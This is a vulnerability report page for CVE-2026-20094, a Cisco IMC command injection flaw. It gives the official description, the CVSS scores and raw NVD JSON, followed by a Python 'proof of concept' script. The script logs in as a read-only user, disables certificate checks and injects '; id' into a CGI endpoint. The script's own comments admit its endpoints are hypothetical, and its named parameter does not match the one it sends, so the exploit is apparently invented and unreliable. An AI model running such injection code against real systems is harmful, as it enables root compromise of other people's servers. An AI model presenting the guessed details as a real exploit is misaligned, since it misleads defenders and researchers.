Security Vulnerability Report
中文
CVE-2026-20094 CVSS 8.8 HIGH

CVE-2026-20094

Published: 2026-04-01 17:28:29
Last Modified: 2026-04-03 16:11:11

Description

A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with read-only privileges to perform command injection attacks on an affected system and execute arbitrary commands as the root user. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cisco IMC (具体受影响版本请参考Cisco官方安全通告cisco-sa-cimc-cmd-inj-3hKN3bVt)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib3 # Suppress SSL warnings for testing purposes urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_20094(target_url, username, password): """ PoC for CVE-2026-20094: Cisco IMC Command Injection. This script attempts to execute a simple command (id) on the target. """ session = requests.Session() session.verify = False # Login endpoint (hypothetical based on Cisco IMC structure) login_url = f"{target_url}/login" login_data = {"user": username, "password": password} try: print(f"[*] Attempting login to {target_url}...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Vulnerable endpoint (hypothetical) # The specific parameter 'input_cmd' is vulnerable to injection vuln_url = f"{target_url}/cgi-bin/config.cgi" # Injecting payload: ; id to execute 'id' command payload = "; id" data = { "action": "set", "target_param": payload # Injection point } try: print(f"[*] Sending payload to {vuln_url}...") response = session.post(vuln_url, data=data) # Check if command output is present in response if "uid=" in response.text: print("[+] Exploit successful! Command execution detected.") print("[+] Response snippet:") print(response.text[:500]) else: print("[-] Exploit failed or output not found in response.") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": # Replace with actual target details target = "https://<cisco-imc-ip>" user = "readonly_user" pwd = "password123" exploit_cve_2026_20094(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20094", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:29.230", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with read-only privileges to perform command injection attacks on an affected system and execute arbitrary commands as the root user.\r\n\r\nThis vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-3hKN3bVt", "source": "[email protected]"}]}}